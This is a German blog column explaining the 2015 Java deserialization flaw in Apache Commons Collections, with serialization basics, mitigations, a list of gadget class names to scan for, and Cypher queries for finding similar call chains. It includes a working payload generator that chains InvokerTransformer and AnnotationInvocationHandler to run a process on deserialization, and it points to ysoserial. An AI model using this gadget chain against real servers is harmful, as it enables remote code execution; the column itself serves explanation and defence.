JEXP                       JEXP

Einem geschenkten (Trojanischen) Gaul schaut man besser ins Maul

Im November 2015 hat eine kritische Sicherheitslücke die Java- und IT-Welt aufgewühlt. Zum Teil wurde sie "so bedeutsam wie Heartbleed" eingeschätzt. In der heutigen Kolumne will ich sie etwas näher beleuchten und die Hintergründe darstellen.

Eine Geschichte in 3 Akten

Interessanterweise wurde dieser Angriffsvektor schom Ende Januar auf der AppSecCali2015 Konferenz von Gabriel Lawrence und Chris Frohoff von Qualcom im Rahmen einer umfangreicheren Präsentation zum Thema "Angriffe durch ungesicherte Deserialisierung von Nutzerdaten" ("Marshalling Pickles – how deserializing objects will ruin your day") präsentiert.

Der Angriff nutzt den ungesicherten Aufruf von Methoden auf deserialisierten Daten während oder nach der Deserialisierung aus. Wenn die transitiv aufgerufenen Zielmethoden potentiell Schadcode ausführen können, ist das Ziel der Angreifer erreicht.

Die serialisierten Daten wurden in diesem Beispiel mittels Hilfsklassen der Apache Commons Collections Bibliothek präpariert, welche die transparente Transformation von Werten in Containerobjekten, hier sogar dynamisch durch Nutzung von Reflection erlauben. Ähnliches wurde damals auch für Groovy’s dynamische Maps demonstriert.

Dabei wurde neben dem Angriff auch ein Tool gezeigt, das entsprechende Schad-"Nutz"-daten erzeugen kann. Da diese Angriffsmöglichekeit aber eher unspektakulär neben anderen Programmiersprachen und Ansätzen dargestellt wurde, scheint er der Aufmerksamkeit der Öffentlichkeit und auch anderer Sicherheitsexperten entgangen zu sein.

Erst ein sehr interessanter Vortrag von Matthias Kaiser (Code White, Ulm) Ende Oktober im HackerPraktikum an der Ruhr Uni Bochum ging detaillierter auf die Sicherheitslücke ein und demonstrierte die Ausnutzbarkeit live am Beispiel einer (seither gefixten) Version von Atlassian Bamboo.

Matthias hat darauf hingewiesen dass diese Schwachstelle schon weit vorher thematisiert wurde, z.B. von Pierre Ernst in einem developerWorks Artikel in 2013.

Das spornte Steve Breen (Foxglove Security) an, diese Sicherheitslücke genauer unter die Lupe zu nehmen und zu zeigen, dass häufig genutzte Java Web- und Applicationserver (u.a. WebLogic, IBM WebSphere, JBoss, Jenkins, OpenNMS) anfällig für diesen Angriff waren. Dieser auch etwas theatralische Artikel hat dann die weltweite "Welle des Entsetzens" ausgelöst, die wir im November erlebt haben.

Wie zu erwarten war, haben sich viele der nachfolgenden Berichterstatter nicht die Mühe gemacht, die Hintergründer zu verstehen und akkurat zu berichten. Leider hat Steve Breen es nicht für nötig gehalten, die betroffenen Produkte vor der Veröffentlichung seines Artikels zu benachrichtigen, was normalerweise bei solchen erstmalig nachgewiesenen, kritischen Sicherheitslücken (Zero-Day-Exploit) Usus ist.

Zum einen nehmen sie auf verschiedene Weise serialisierte Java-Objekte über das Netzwerk entgegen und deserialisieren sie ungesichert. Desweiteren sind Bibliotheken im Klassenpfad enthalten, die zur Ausnutzung dieses Verhaltens genutzt werden können.

Dieser Angriff konnte nur verhindert werden, indem man die entsprechenden Klassen (z.B. InvokerTransformer) aus der Jar-Dateien der Bibliotheken entfernte.

Mittlerweile wurden aktualisierte Versionen (3.2.2, 4.1) von Apache Commons Collections veröffentlicht, die die Serialisierbarkeit dieser Klassen standardmässig abschalten, aber sie in vertrauenswürdigen Umgebungen durch eine System-Property wieder aktivieren lässt. Auch für andere Bibliotheken wie Groovy (2.4.4) und Spring (4.1.9, 4.2.3) sind Versionen verfügbar, die nicht mehr für diesen Angriff genutzt werden können.

Da Java-Deserialisierung, besonders auch von Daten die über das Netzwerk empfangen werden, in der Java Welt gang und gäbe ist (dazu später mehr), ist es sehr augenscheinlich, dass dies nicht die einzige schadhafte Kombination darstellt.

Leider wurde bisher noch nicht genügend Augenmerk auf die Absicherung des Deserialisierungs-Mechanismus gelegt. Es bleibt zu hoffen, dass Oracle selbst dafür sorgt, dass während der Deserialisierung selbst, der transitive Aufruf bestimmter, potentiell gefährliche Methoden abgeblockt wird. Aber selbst nach einer erfolgreichen Deserialisierung sollte man Daten, die aus nicht vertrauenswürdigen Quellen stammen, und plötzlich als aktives Objekt in der eigenen JVM leben, mit entsprechender Vorsicht begegnen.

Zum Glück muss man nicht nur auf Sicherheitsexperten vertrauen, sondern kann sich mit einigen quelloffenen Tools selbst ein Bild davon verschaffen, ob die eigene Infrastruktur potentiell gefährliche Kombinationen enthält.

Die Stimmen, die der Apache Bibliothek die Schuld an allem gaben haben nur teilweise recht. Zwar machen die dort vorhandenen, serialisierbaren Klassen es deutlich leichter die Sicherheitslücke auszunutzen, aber das Grundproblem liegt am sorglosen Umgang mit Daten aus nicht vertrauenswürdigen Quellen.

Im Statement der Apache Foundation ist auch genau das nachzulesen:

It is not Apache Commons Collections that is unsafe, it is applications which use Java Serialization in an unsafe way.

If anybody asks you whether an application is unsafe because of Apache Commons Collections, explain to them that deserializing untrusted data is unsafe, not the presence of generally useful libraries.

Art des Angriffs

Der Angriff gehört zu einer noch relativ unerforschten, neuen Klasse von Ansätzen, die davon ausgehen, dass ungesicherte Deserialisierung von Objekten, die von ausserhalb kommen, eine weitverbreitete Sicherheitslücke darstellt. Dabei ist nicht die Deserialisierung ein Problem, sondern dass sie nicht genügend gegen böswillige Nutzlast abgesichert ist. Wie bei vielen Angriffen werden auch hier mehrere Konstrukte kombiniert, die nur gemeinsam dazu führen, dass man durch die Deserialisierung eines Objektes freien Zugriff auf Reflection-Aufrufe bekommt. Mit denen hat man man natürlich vollen Zugriff auf beliebige Klassen und Methoden innerhalb der JVM, besonders aber durch Aufrufe von Runtime.getRuntime().exec() auch mit den Rechten des Benutzers auf dem Recher auf dem die Java Anwendung läuft.

Eigentlich ist die JVM ja für ihre Sandbox bekannt, leider ist diese aber nur zwangsweise bei Applets und Webstart-Anwendungen aktiv. Die meisten Java-Server und Desktopanwendungen laufen ohne SecurityManager und können somit beliebige Operationen auf der Maschine ausführen. Meist wird das mit Leistungseinbussen und der Komplexität der Konfiguration von Permissions für den Security-Manager begründet. Abgesicherter Bytecode muss auch in signierten Jars vorliegen, so dass sichergestellt werden kann, dass niemand zwischenzeitlich Veränderungen am Bytecode vorgenommen hat.

Das etwas skurrile Konstrukt das für das Ausnutzen dieser Sicherheitslücke notwendig ist, beleuchten wir gleich etwas im Detail.

Zuerst aber noch etwas zu den Grundlagen der (De-)Serialisierung in Java.

Serialisierung in Java

Seit den ersten Versionen von Java war es bequemlicherweise leicht möglich, Java Objekte zu serialisieren, indem man es in einen ObjectOutputStream schreibt, dessen Ausgabe dann entweder als Datei auf der Festplatte, Datenstrom im Netz oder in einem Byte-Array landet.

Serialisierbar ist ein Objekt, wenn es direkt oder indirekt java.io.Serializable implementiert und all seine nicht-transistenten Felder entweder primitiv oder auch serialisierbar sind. Es ist anzuraten für die Handhabung der Kompatibilität zwischen Versionen von Klassen ein Long-Feld namens serialVersionUID anzulegen, dessen Inhalt geändert werden muss, wenn sich die Klasse inkompatibel zu Vorgängerversionen geändert hat.

Die zweite Anforderung kann mittels spezieller Methoden, writeReplace und writeObject umgangen werden. Dabei kann man in der writeObject-Methode die Serialisierung selbst im Einzelnen kontrollieren, z.B. um eine effizientere Speicherung von aufwendigen Datenstrukturen vorzunehmen. Bei writeReplace kann man statt des aktuellen Objektes, eine andere Instanz zur Serialisierung nominieren.

Bei der Serialisierung wird der Objektbaum rekursiv durchgegangen und beginnend beim Wurzelobjekt bis zu allen primitiven Feldern Repräsentationen als Bytes in den Datenstrom geschrieben. Falls es sich um einen Objektgraphen mit Zyklen handelt werden für schon gesehene Objekte nur noch Marker geschrieben.

Hier sehen wir die Serialisierung eines einfachen Objektes und die Binärdarstellung des Ergebnisses, in dem man Klassennamen der Instanzen und ihre Inhalte sehr schön erkennen kann.

static class Magazine implements Serializable {
    String title;
    LocalDate date;
    int pages;
}

public static void main(String[] args) throws Exception {
    Magazine javaSpektrum = new Magazine("JavaSpektrum 6/2015",
                                 LocalDate.of(2015,11,20), 66);
    ObjectOutputStream oos = new ObjectOutputStream(
                          new FileOutputStream("magazin.ser"));
    oos.writeObject(javaSpektrum);
    oos.close();

    Magazine gelesen = (Magazine)new ObjectInputStream(
	                   new FileInputStream("magazin.ser"))
	                   .readObject();

    assert gelesen.title.equals(javaSpektrum.title) &&
           gelesen.date.equals(javaSpektrum.date) &&
           gelesen.pages == javaSpektrum.pages;
}
hexdump -C magazin.ser
00000000  ac ed 00 05 73 72 00 22  65 78 61 6d 70 6c 65 2e  |....sr."example.|
00000010  53 65 72 69 61 6c 69 7a  61 74 69 6f 6e 54 65 73  |SerializationTes|
00000020  74 24 4d 61 67 61 7a 69  6e 65 44 5d 53 78 5d 43  |t$MagazineD]Sx]C|
00000030  95 e8 02 00 03 49 00 05  70 61 67 65 73 4c 00 04  |.....I..pagesL..|
00000040  64 61 74 65 74 00 15 4c  6a 61 76 61 2f 74 69 6d  |datet..Ljava/tim|
00000050  65 2f 4c 6f 63 61 6c 44  61 74 65 3b 4c 00 05 74  |e/LocalDate;L..t|
00000060  69 74 6c 65 74 00 12 4c  6a 61 76 61 2f 6c 61 6e  |itlet..Ljava/lan|
00000070  67 2f 53 74 72 69 6e 67  3b 78 70 00 00 00 42 73  |g/String;xp...Bs|
00000080  72 00 0d 6a 61 76 61 2e  74 69 6d 65 2e 53 65 72  |r..java.time.Ser|
00000090  95 5d 84 ba 1b 22 48 b2  0c 00 00 78 70 77 07 03  |.]..."H....xpw..|
000000a0  00 00 07 df 0b 14 78 74  00 13 4a 61 76 61 53 70  |......xt..JavaSp|
000000b0  65 6b 74 72 75 6d 20 36  2f 32 30 31 35           |ektrum 6/2015|
000000bd

Wie man sehen kann, beginnt der Binärcode immer mit dem Marker ac ed 00 05, die man auch nutzen kann, um ggf. im Datenstrom der eigenen Java-Server nach potentiell serialisierten Java-Objekten zu suchen. Falls diese als base-64 formatierte Daten gesendet werden, beginnt der Datenblock dann mit rO0.

Soweit keine Überraschungen. Jetzt zur Deserialisierung, die eigentlich ähnlich einfach abläuft.

  1. Aus einem ObjectInputStream liest man die geschriebenen Objekte.

  2. Von diesen werden Instanzen erzeugt, ohne den Konstruktor aufzurufen!

  3. Dann werden rekursiv wieder die Felder gelesen, ggf. weiter Objekte instanziiert.

  4. Falls irgendwo durch den Wechsel der Klassensignatur oder der serialVersionUID eine Inkompatibilität ergibt, bricht das Laden mit einem InvalidClassException (oder einer anderen Exception) ab.

Wie beim Schreiben der Objekte, kann die Deserialisierung mittels eigener Methoden gesteuert werden. Mit readResolve kann man statt des gelesenen Objektes ein anderes zurückgeben, was z.b. bei Singletons wie Enums genutzt wird. Die Implementierung von readObject kann das Lesen des Objektes wieder voll kontrollieren, so z.B. auch nachgelagerte Initialisierungen vornehmen.

Und dort fängt der Spass an…​

Wenn während der Deserialisierung, noch bevor man die Objektinstanz zurückbekommt, aktiv Methoden auf Feldern der Klasse aufgerufen werden, deren Inhalt gerade erst aus einer nicht-vertrauenswürdigen Quelle wiederhergestellt wurde, kann man sich vorstellen, dass Dinge passieren, die man vermeiden möchte.

Im einfachsten Fall gibt es einen Fehler während dieses Zugriffs und die Methode die die Deserialisierung veranlasst hat (und ggf der Thread) werden abgebrochen. Das kann schon für eine kleine Denial-of-Service Attacke ausgenutzt werden. Desweiteren können grosse Datenmengen oder Endlosschleifen verursacht werden (z.B. durch Selbstreferenzen die zu rekursiven Aufrufen führen). Aber auch das ist noch nicht schlimm.

Freien Zugriff auf die JVM gibt es, wenn Inhalte der Felder genutzt werden können, um frei Operationen innerhalb der JVM auszuführen, z.B. mittels Reflection, Proxies oder `javax.ScriptEngine`s.

Anwendungsbereiche für Serialisierung

Ganz am Anfang, wurde Serialisierung in Java dafür genutzt, den Zustand einer Anwendung zu persistieren, daher sind kurioserweise viele AWT- und Swing-Klassen serialisierbar und mit diversen Details darüber versehen. Bald lag der Fokus aber auf dem Serialisieren von komplexen Daten z.B. um sie auf Festplatte oder in Datenbanken als Blob zu speichern oder über das Netzwerk zu transportieren oder als Methodenparameter und Rückgabewerte für RPC via RMI zu nutzen. Bei all diesen Ansätzen kann man der Anwendung präparierte Daten unterschieben, über das (offene) Netzwerk geht es aber am einfachsten. Und Objekt-Serialisierung wird bei diversen Netzwerkprotokollen im Java-Umfeld eingesetzt: RMI, RMI-über-HTTP, JMX, JMS, Spring-Invoker, teilweise für Http-Cookies usw. Daher gibt es in den meisten Server-Anwendungen genügend Einfallstore, um gemeingefährliche Daten einzuschleusen.

Um eine solche Attacke erfolgreich auszuführen, benötigt man also die folgenden Zutaten.

Erfolgsrezept

Wie in der Einleitung schon erläutert, benötigt man für diese Art von Angriff eine Kombination von drei Verhaltensweisen, die gemeinsam zum Erfolg führen.

  1. Muss es die Anwendung serialisierte Objekte entgegenzunehmen und diese ohne weitere Prüfung zu deserialisieren.

  2. Zum zweiten muss eine zu deserialisierende Klasse vorliegen, die readObject implementiert und darin auf den soeben deserialisierten eigenen Feldern Methoden aufruft.

  3. Diese Methoden rufen wiederhin transitiv über mehrere Ecken potentielle gefährliche Methoden auf, wenn möglich mit den präparierten Nutzdaten.

Im von Matthias Kaiser gezeigten Beispiel wurde ein Servlet von Atlassian Bamboo genutzt, das Nutzdaten deserialisiert. Die serialisierbare TransformedMap, konfiguriert einem InvokerTransformer aus Apache Commons Collections liefert uns die Schadmethode - den dynamischen Aufruf von Method.invoke(), die sogar mit ihren Parametern serialisierbar sind. Damit benötigt man nur noch ein deserialisierbares Objekt, dass in seinem readObject auf einem eigenen Map-Feld die Methode Map.Entry.setValue() aufruft, um den genannten Transformer zu triggern. Das stellt uns Sun, mit dem AnnotationInvocationHandler zur Verfügung, der im readObject prüft, ob die de-serialisierte Ziel-Annotationsklasse immer noch denselben Elementtyp für ihre Attribute hat, die in einer ebenfalls de-serialisierten Map!! gespeichert sind. Falls nicht, wird mittels Map.Entry.setValue() ein ExceptionProxy statt des Originaltyps gesetzt, was dann unseren gemein vorkonfigurierten InvokerTransformer triggert.

jqassistant deserialize vulnerability chain
Figure 1. Visuelle Darstellung der Aufrufkette

Um den möglichen Schaden zu maximieren, wird als dynamisch aufzurufende Methode die Ausführung eines Prozesses auf der Maschine gewählt:

Das Listing zum Generieren der Schaddaten ist online in meinem JavaSpektrum Repository verfügbar.

Demo zum Starten eines OSX-Calculators mittels ProcessBuilder beim Deserialisieren
public class PayloadGenerator {
    public static void main(String[] args) throws Exception {
        final String[] execArgs = new String[] {
                "/Applications/Calculator.app/Contents/MacOS/Calculator" };

        // invoking new ProcessBuilder(execArgs).start()
        final Transformer transformers = new ChainedTransformer(
            new ConstantTransformer(ProcessBuilder.class),
            new InstantiateTransformer(new Class[]{String[].class},new Object[]{ execArgs }),
            new InvokerTransformer("start", null,null));

        // preparing fieldMap for @Target.value == "value"
        String annotationFieldName = Target.class.getDeclaredMethod("value").getName();
        final Map annotationFields = singletonMap(annotationFieldName,"foo");

        // decorating map with process starting transformers
        TransformedMap transformedMap =
                TransformedMap.transformingMap(annotationFields, null, transformers);

        // setting up AnnotationInvocationHandler with prepared instance data to be serialized
        Class<?> type = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = type.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object handler = constructor.newInstance(Target.class, transformedMap);

        // serializing handler
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("transformer.ser"));
        oos.writeObject(handler);
        oos.close();

        // demonstrating deserialization starts calculator
        new ObjectInputStream(new FileInputStream("transformer.ser")).readObject();
    }

Ich habe, um das ganze etwas zu vereinfachen, stattdessen new ProcessBuilder(args).start() aufgerufen, und den Code etwas vereinfacht. Um zu zeigen, dass es vollkommen egal ist, ob die Deserialisierung erfolgreich ist, habe ich als Map-Instanz Collections.singletonMap benutzt, die unveränderlich ist, also gar kein Map.Entry.setValue() zulässt. D.h. obwohl der eigentliche setValue Aufruf fehlschlägt, wird der Transformer vorher noch ausgeführt und started den Calculator, wie man anhand des Stacktraces im Screenshot auch sehr schön sehen kann.

deserialize vulnerability demo
Figure 2. Screenshot Auslösung der Sicherheitslücke

Die originalen Autoren stellten ein Tool (ysoserial) bereit, dem man nur noch den Unix-Shell-Befehl mitgeben musste, den man auf dem Server ausgeführt haben möchte, und welches dann den korrekten serialisierten Binärdump erzeugt.

Table 1. Beteiligte Klassen
Klasse Zeile Aufruf in Methode Link

AnnotationInvocationHandler

355

Map.Entry.setValue

readObject

http://grepcode.com/file/repository.grepcode.com/java/root/jdk/openjdk/7u40-b43/sun/reflect/annotation/AnnotationInvocationHandler.java#356

TransformedMap

218

transformer.transform

checkSetValue

https://github.com/apache/commons-collections/blob/trunk/src/main/java/org/apache/commons/collections4/map/TransformedMap.java#L218

AbstractInputCheckedMapDecorator.MapEntry

201

parent.checkSetValue

setValue

https://github.com/apache/commons-collections/blob/trunk/src/main/java/org/apache/commons/collections4/map/AbstractInputCheckedMapDecorator.java#L201

InvokerTransformer

134

method.invoke

transform

https://github.com/apache/commons-collections/blob/trunk/src/main/java/org/apache/commons/collections4/functors/InvokerTransformer.java#L134

Schutzkreis

Wie kann man sich gegen solche Sicherheitslücken schützen? Es ist ziemlich schwierig, weil die Verantwortung, sowohl bei Oracle als auch den Application-Server Herstellern liegt, die Deserialisierung von vertrauensunwürdigen Quellen besser abzusichern. Wenn die eigene Anwendung so etwas macht, sollte man tunlichst darauf achten, an diesen Stellen keinen aktiven Code auf deserialisierten Werten aufzurufen, und diese auch noch einmal zur Sicherheit in bekannte Datenstrukturen zu kopieren.

Für die bisher gefundene Lücke, wird empfohlen, die Apache Commons Collection Bibliothek aktualisieren auf 3.2.2 oder 4.1. Falls das nicht möglich ist, kann man die Jar-Datei der Bibliothek modifizieren, und die Transformer Implementierungsklassen entfernen.

Man kann den Datenstrom eigener Java-Server überwachen und Pakete mit den Signaturen von Java-Serialisierung abblocken oder zumindest loggen. Desweiteren kann nach den, im Angriff genutzten Klassennamen gescannt werden.

  • org.apache.commons.collections4?.map.TransformedMap

  • org.apache.commons.collections4?.Transformer

  • org.apache.commons.collections.functors.InvokerTransformer

  • org.apache.commons.collections.functors.InstantiateTransformer

  • org.codehaus.groovy.runtime.ConvertedClosure

  • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

  • sun.reflect.annotation.AnnotationInvocationHandler

Einen sinnvollen Ansatz stellt der quelloffene Java Agent "NotSoSerial" von Eirik Bjørsnøs dar, der den Deserialisierungsvorgang kontrolliert und neben Blacklisting der bekannten, problematischen Klassen, ein Whitelisting und eine Protokollierung von deserialisierten Klassen erlaubt.

Da der Angriff jetzt jetzt erst einmal weit bekannt ist, sollte es nicht zu schwer sein, ähnliche Kombinationen mit anderen häufig genutzten Bibliotheken und Tools zu finden. Wir können uns also auf weitere, ähnliche Lücken freuen. Im schlimmsten Fall werden dass Varianten sein, die direkt in den Standardklassen von Java vorliegen.

Interessanterweise ist es gar nicht so schwierig, solche Lücken aufzuspüren, wenn die zugrundeliegende Schadenskombination erst einmal bekannt ist. Ich möchte zum Abschluss einmal darstellen, wie man selbst mit open-source Hilfsmittel zu denselben Erkenntnissen kommen kann, wie die Sicherheitsforscher wie Chris Frohoff & Co.

Nadel im Heuhaufen

Softwareanalyse mit Graphdatenbanken ist eines meiner Lieblingsthemen. Mit dem quelloffenen Framework jQAssistant ist es schnell möglich vorliegende Java-Anwendungen und Bibliotheken zu scannen. Die ermittelten Informationen werden in der Graphdatenbank Neo4j als vernetzte Strukturen aus Klassen, Methoden, Interfaces, Paketen, Felder usw. abgelegt die eine Vielzahl von Beziehungen (Vererbung, Deklaration, Benutzung, Aufruf usw.) zu einander haben.

jQAssistant selbst kommt mit einer Menge von Plugins für das Scannen verschiedenster Quellinformationen, aber auch einer Reihe von Konzepten für die Anreicherung der Rohdaten mit abgeleiteten fachlichen und technischen Markern und Beziehungen. Desweiteren stellt es noch Reports für Softwarequalität und Metriken bereit. Durch die Definition von eigenen Regeln ist es möglich, Softwarearchitektur und andere Qualitätseigenschaften unserer Softwareprojekte abzusichern. All diese Bestandteile sind frei definierbar und leicht selbst zu schreiben, da sie auf Neo4j’s Abfragesprache Cypher basieren.

Nach dem Download von jQAssistant scannen wir die relevanten Bibliotheken, in unserem Fall rt.jar vom JDK und apache-commons-collections4.jar, mittels: bin/jqassistant.sh scan -f `lib/*.jar.

Danach wenden wir zwei Konzepte an, zum Zusammenführen der Klassen aus verschiedenen Jars und zur Verknüpfung von überschriebenen Methoden, mittels einer OVERRIDES Beziehung: bin/jqassistant.sh analyze -concepts classpath:Resolve,java:MethodOverrides

Das zweite Konzept macht in Kurzform diese Operation: Methoden die mit demselben Namen von Superklassen oder Interfaces überschrieben wurde, werden mit einer OVERRIDEN_BY Beziehung verknüpft.

match (t:Type) where t.fqn =~ "org.apache.commons.collection.*"
match (m:Method)<-[:DECLARES]-(t:Type)-[:EXTENDS|IMPLEMENTS]->(t0)-[:DECLARES]->(m0)
where m.name = m0.name
merge (m)<-[:OVERRIDEN_BY]-(m0)
return count(*);

Damit haben wir alle notwendigen Werkzeuge in der Hand, um kritische Aufrufketten auf der Basis folgender Grundannahme zu finden:

Während der Deserialisierung eines serialisierbaren Objektes werden in dessen readObject Methode transitive Aufrufe auf den deserialisierten Daten ausgeführt, die schlussendlich bei Method.invoke() ankommen.

Mittels Neo4j’s Abfragesprache Cypher können wir die beiden notwendigen Muster für die Enden der Kette abbilden.

Wir können diese direkt in der Neo4j Oberfläche ausführen, die man nach Aufruf von bin/jqassistant.sh server auf localhost:7474 nutzen kann.

Klassen, die transitiv Serializable implementieren, und eine readObject Methode enthalten: (393 Klassen)

MATCH (:Interface {fqn:"java.io.Serializable"})<-[:EXTENDS*]-(class),
      (class)-[:DECLARES]->(m:Method {name:"readObject"})
RETURN count(*);

Aufruf der Methode Method.invoke: (258 Aufrufe)

MATCH (:Class {fqn:"java.lang.reflect.Method"})-[:DECLARES]->(m:Method {name:"invoke"})
RETURN size(()-[:INVOKES]->(m)) as invocations;

Jetzt müssen wir nur noch den transitiven Aufruf darstellen, der von readObject zu invoke über viele Schritte erfolgen kann:

MATCH (:Interface {fqn:"java.io.Serializable"})<-[:EXTENDS*]->(serialized:Class)-[:DECLARES]->(readObject:Method {name:"readObject"})
MATCH (:Class {fqn:"java.lang.reflect.Method"})-[:DECLARES]->(invoke:Method {name:"invoke"})

MATCH path = shortestPath((readObject)-[:INVOKES|:OVERRIDES*]->(invoke))

RETURN serialized,path
ORDER BY length(path) ASC LIMIT 10;

Hier kann man einen der vielen Pfade sehen, die potentiell eine Gefährdung darstellen, den betroffenen Quellcode muss man sich noch einmal im Detail anschauen.

jqassistant deserialize vulnerability example1

Referenzen

Last updated 2015-12-16 21:57:13 CET
Impressum - Twitter - GitHub - StackOverflow - LinkedIn